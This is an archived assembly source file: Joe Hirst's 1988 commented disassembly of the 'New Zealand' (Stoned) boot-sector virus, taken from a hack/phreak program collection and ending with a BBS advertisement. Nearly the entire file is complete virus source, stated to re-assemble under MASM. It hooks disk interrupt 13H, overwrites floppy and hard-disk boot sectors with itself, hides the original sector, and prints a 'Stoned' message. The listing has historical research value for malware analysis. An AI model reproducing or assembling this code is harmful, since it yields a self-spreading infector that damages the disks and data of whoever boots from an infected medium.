home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / NEWZLAND.ASM < prev    next >
Assembly Source File  |  1992-11-07  |  8KB  |  289 lines

  1.     page    65,132
  2.     title    The 'New Zealand' Virus
  3. ; ╔══════════════════════════════════════════════════════════════════════════╗
  4. ; ║                 British Computer Virus Research Centre                   ║
  5. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  6. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  7. ; ║                                                                          ║
  8. ; ║                         The 'New Zealand' Virus                          ║
  9. ; ║                Disassembled by Joe Hirst,   November 1988                ║
  10. ; ║                                                                          ║
  11. ; ║                   Copyright (c) Joe Hirst 1988, 1989.                    ║
  12. ; ║                                                                          ║
  13. ; ║      This listing is only to be made available to virus researchers      ║
  14. ; ║                or software writers on a need-to-know basis.              ║
  15. ; ╚══════════════════════════════════════════════════════════════════════════╝
  16.  
  17.     ; The virus consists of a boot sector only.  The original boot sector
  18.     ; is kept at track zero, head one, sector three on a floppy disk, or
  19.     ; track zero, head zero, sector two on a hard disk.
  20.  
  21.     ; The disassembly has been tested by re-assembly using MASM 5.0.
  22.  
  23.     ; The program requires an origin address of 7C00H, as it is designed
  24.     ; to load and run as a boot sector.
  25.  
  26. RAM    SEGMENT AT 0
  27.  
  28.     ; System data
  29.  
  30.     ORG    4CH
  31. BW004C    DW    ?            ; Interrupt 19 (13H) offset
  32. BW004E    DW    ?            ; Interrupt 19 (13H) segment
  33.     ORG    413H
  34. BW0413    DW    ?            ; Total RAM size
  35.     ORG    440H
  36. BB0440    DB    ?            ; Motor timeout counter
  37.     ORG    46CH
  38. BB046C    DB    ?            ; System clock
  39.  
  40.     ORG    7C0AH
  41. I13_OF    DW    ?
  42. I13_SG    DW    ?
  43. HICOOF    DW    ?
  44. HICOSG    DW    ?            ; High core segment
  45.  
  46. RAM    ENDS
  47.  
  48. CODE    SEGMENT BYTE PUBLIC 'CODE'
  49.     ASSUME CS:CODE,DS:RAM
  50.  
  51. START:    DB    0EAH            ; Far jump to next byte
  52.     DW    BP0010, 07C0H
  53.  
  54. BP0010:    JMP    BP0110
  55.  
  56. DRIVEN    DB    0            ; Drive number (A=0, B=1, C=2)
  57. DUMMY    DB    0
  58.  
  59. ;        Original Int 13H address
  60.  
  61. INT_13    EQU    THIS DWORD
  62.     DW    0
  63.     DW    0
  64.  
  65. ;        Branch address in high core
  66.  
  67. HIGHCO    EQU    THIS DWORD
  68.     DW    BP0120
  69.     DW    0
  70.  
  71. ;        Boot sector processing address
  72.  
  73. BOOTST    EQU    THIS DWORD
  74.     DW    07C00H
  75.     DW    0
  76.  
  77. ;        Interrupt 13H disk I/O routine
  78.  
  79. BP0020:    PUSH    DS
  80.     PUSH    AX
  81.     CMP    AH,2            ; Sub-function 2
  82.     JB    BP0030            ; Pass on if below
  83.     CMP    AH,4            ; Sub-function 4
  84.     JNB    BP0030            ; Pass on if not below
  85.     CMP    DL,0            ; Is drive A
  86.     JNE    BP0030            ; Pass on if not
  87.     XOR    AX,AX            ; \ Segment zero
  88.     MOV    DS,AX            ; /
  89.     MOV    AL,BB0440        ; Get motor timeout counter
  90.     OR    AL,AL            ; Test for zero
  91.     JNE    BP0030            ; Branch if not
  92.     CALL    BP0040            ; Call infection routine
  93. BP0030:    POP    AX
  94.     POP    DS
  95.     JMP    INT_13            ; Pass control to Int 13H
  96.  
  97. ;        Infection routine
  98.  
  99. BP0040:    PUSH    BX
  100.     PUSH    CX
  101.     PUSH    DX
  102.     PUSH    ES
  103.     PUSH    SI
  104.     PUSH    DI
  105.     MOV    SI,4            ; Retry count
  106. BP0050:    MOV    AX,201H            ; Read one sector
  107.     PUSH    CS            ; \ Set ES to CS
  108.     POP    ES            ; /
  109.     MOV    BX,200H            ; Boot sector buffer
  110.     MOV    CX,1            ; Track zero, sector 1
  111.     XOR    DX,DX            ; Head zero, drive A
  112.     PUSHF                ; Fake an interrupt
  113.     CALL    INT_13            ; Call Int 13H
  114.     JNB    BP0060            ; Branch if no error
  115.     XOR    AX,AX            ; Reset disk sub-system
  116.     PUSHF                ; Fake an interrupt
  117.     CALL    INT_13            ; Call Int 13H
  118.     DEC    SI            ; Decrement retry count
  119.     JNE    BP0050            ; Retry
  120.     JMP    BP0080            ; No more retries
  121.  
  122. BP0060:    XOR    SI,SI            ; Start of program
  123.     MOV    DI,200H            ; Boot sector buffer
  124.     MOV    AX,ES:[SI]        ; Get first word
  125.     CMP    AX,ES:[DI]        ; Test if same
  126.     JNE    BP0070            ; Install if not
  127.     MOV    AX,ES:[SI+2]        ; Get second word
  128.     CMP    AX,ES:[DI+2]        ; Test if same
  129.     JNE    BP0070            ; Install if not
  130.     JMP    BP0080            ; Pass on
  131.  
  132. BP0070:    MOV    AX,301H            ; Write one sector
  133.     MOV    BX,200H            ; Boot sector buffer
  134.     MOV    CX,3            ; Track zero, sector 3
  135.     MOV    DX,100H            ; Head 1, drive A
  136.     PUSHF                ; Fake an interrupt
  137.     CALL    INT_13            ; Call Int 13H
  138.     JB    BP0080            ; Branch if error
  139.     MOV    AX,301H            ; Write one sector
  140.     XOR    BX,BX            ; This sector
  141.     MOV    CL,1            ; Track zero, sector 1
  142.     XOR    DX,DX            ; Head zero, drive A
  143.     PUSHF                ; Fake an interrupt
  144.     CALL    INT_13            ; Call Int 13H
  145. BP0080:    POP    DI
  146.     POP    SI
  147.     POP    ES
  148.     POP    DX
  149.     POP    CX
  150.     POP    BX
  151.     RET
  152.  
  153. ;        Display message
  154.  
  155. BP0090:    MOV    AL,CS:[BX]        ; Get next message byte
  156.     INC    BX            ; Update pointer
  157.     CMP    AL,0            ; Test for end of message
  158.     JNE    BP0100            ; Branch to display
  159.     RET
  160.  
  161. BP0100:    PUSH    AX
  162.     PUSH    BX
  163.     MOV    AH,0EH            ; Write TTY mode
  164.     MOV    BH,0
  165.     INT    10H            ; VDU I/O
  166.     POP    BX
  167.     POP    AX
  168.     JMP    SHORT BP0090        ; Process next byte
  169.  
  170. ;        Install in high core
  171.  
  172. BP0110:    XOR    AX,AX            ; \ Segment zero
  173.     MOV    DS,AX            ; /
  174.     CLI
  175.     MOV    SS,AX            ; \ Set stack to boot sector area
  176.     MOV    SP,7C00H        ; /
  177.     STI
  178.     MOV    AX,BW004C        ; Get Int 13H offset
  179.     MOV    I13_OF,AX        ; Store in jump offset
  180.     MOV    AX,BW004E        ; Get Int 13H segment
  181.     MOV    I13_SG,AX        ; Store in jump segment
  182.     MOV    AX,BW0413        ; Get total RAM size
  183.     DEC    AX            ; \ Subtract 2k
  184.     DEC    AX            ; /
  185.     MOV    BW0413,AX        ; Replace total RAM size
  186.     MOV    CL,6            ; Bits to move
  187.     SHL    AX,CL            ; Convert to Segment
  188.     MOV    ES,AX            ; Set ES to segment
  189.     MOV    HICOSG,AX        ; Move segment to jump address
  190.     MOV    AX,OFFSET BP0020    ; Get Int 13H routine address
  191.     MOV    BW004C,AX        ; Set new Int 13H offset
  192.     MOV    BW004E,ES        ; Set new Int 13H segment
  193.     MOV    CX,OFFSET ENDADR    ; Load length of program
  194.     PUSH    CS            ; \ Set DS to CS
  195.     POP    DS            ; /
  196.     XOR    SI,SI            ; \ Set pointers to zero
  197.     MOV    DI,SI            ; /
  198.     CLD
  199.     REPZ    MOVSB            ; Copy program to high core
  200.     JMP    HIGHCO            ; Branch to next instruc in high core
  201.  
  202. ;        Continue processing in high core
  203.  
  204. BP0120:    MOV    AX,0            ; Reset disk sub-system
  205.     INT    13H            ; Disk I/O
  206.     XOR    AX,AX            ; \ Segment zero
  207.     MOV    ES,AX            ; /
  208.     ASSUME    DS:NOTHING,ES:RAM
  209.     MOV    AX,201H            ; Read one sector
  210.     MOV    BX,7C00H        ; Boot sector buffer address
  211.     CMP    DRIVEN,0        ; Test drive is A
  212.     JE    BP0130            ; Branch if yes
  213.     MOV    CX,2            ; Track zero, sector 2
  214.     MOV    DX,80H            ; Side zero, drive C
  215.     INT    13H            ; Disk I/O
  216.     JMP    BP0150            ; Pass control to boot sector
  217.  
  218. ;        Floppy disk
  219.  
  220. BP0130:    MOV    CX,3            ; Track zero, sector 3
  221.     MOV    DX,100H            ; Side one, drive A
  222.     INT    13H            ; Disk I/O
  223.     JB    BP0150            ; Branch if error
  224.     TEST    BB046C,7        ; Test low byte of time
  225.     JNZ    BP0140            ; Branch if not 7
  226.     MOV    BX,OFFSET MESSAGE    ; Load message address
  227.     CALL    BP0090            ; Display message
  228. BP0140:    PUSH    CS            ; \ Set ES to CS
  229.     POP    ES            ; /
  230.     MOV    AX,201H            ; Read one sector
  231.     MOV    BX,200H            ; C-disk boot sector buffer
  232.     MOV    CX,1            ; Track zero, sector 1
  233.     MOV    DX,80H            ; Side zero, drive C
  234.     INT    13H            ; Disk I/O
  235.     JB    BP0150            ; Branch if error
  236.     PUSH    CS            ; \ Set DS to CS
  237.     POP    DS            ; /
  238.     MOV    SI,200H            ; C-disk boot sector buffer
  239.     MOV    DI,0            ; Start of program
  240.     MOV    AX,[SI]            ; Get first word
  241.     CMP    AX,[DI]            ; Compare to C-disk
  242.     JNE    BP0160            ; Install on C-disk if different
  243.     MOV    AX,[SI+2]        ; Get second word
  244.     CMP    AX,[DI+2]        ; Compare to C-disk
  245.     JNE    BP0160            ; Install on C-disk if different
  246. BP0150:    MOV    DRIVEN,0        ; Drive A
  247.     MOV    DUMMY,0
  248.     JMP    BOOTST            ; Pass control to boot sector
  249.  
  250. ;        Install on C-disk
  251.  
  252. BP0160:    MOV    DRIVEN,2        ; Drive C
  253.     MOV    DUMMY,0
  254.     MOV    AX,301H            ; Write one sector
  255.     MOV    BX,200H            ; C-disk boot sector buffer
  256.     MOV    CX,2            ; Track zero, sector 2
  257.     MOV    DX,80H            ; side zero, drive C
  258.     INT    13H            ; Disk I/O
  259.     JB    BP0150            ; Branch if error
  260.     PUSH    CS            ; \ Set DS to CS
  261.     POP    DS            ; /
  262.     PUSH    CS            ; \ Set ES to CS
  263.     POP    ES            ; /
  264.     MOV    SI,OFFSET ENDADR+200H    ; Target offset
  265.     MOV    DI,OFFSET ENDADR    ; Source offset
  266.     MOV    CX,OFFSET 400H-ENDADR    ; Length to move
  267.     REPZ    MOVSB            ; Copy C-disk boot sector
  268.     MOV    AX,301H            ; Write one sector
  269.     MOV    BX,0            ; Write this sector
  270.     MOV    CX,1            ; Track zero, sector 1
  271.     MOV    DX,80H            ; Side zero, drive C
  272.     INT    13H            ; Disk I/O
  273.     JMP    SHORT BP0150        ; Pass control to boot sector
  274.  
  275. MESSAGE    DB    7, 'Your PC is now Stoned!', 7, 0DH, 0AH, 0AH, 0
  276.     DB    'LEGALISE MARIJUANA!'
  277.  
  278. ENDADR    EQU    $-1
  279.  
  280. CODE    ENDS
  281.  
  282.     END    START
  283. 
  284. ; ─────────────────────────────────────────────────────────────────────────
  285. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  286. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  287. ; ─────────────────────────────────────────────────────────────────────────
  288.  
  289.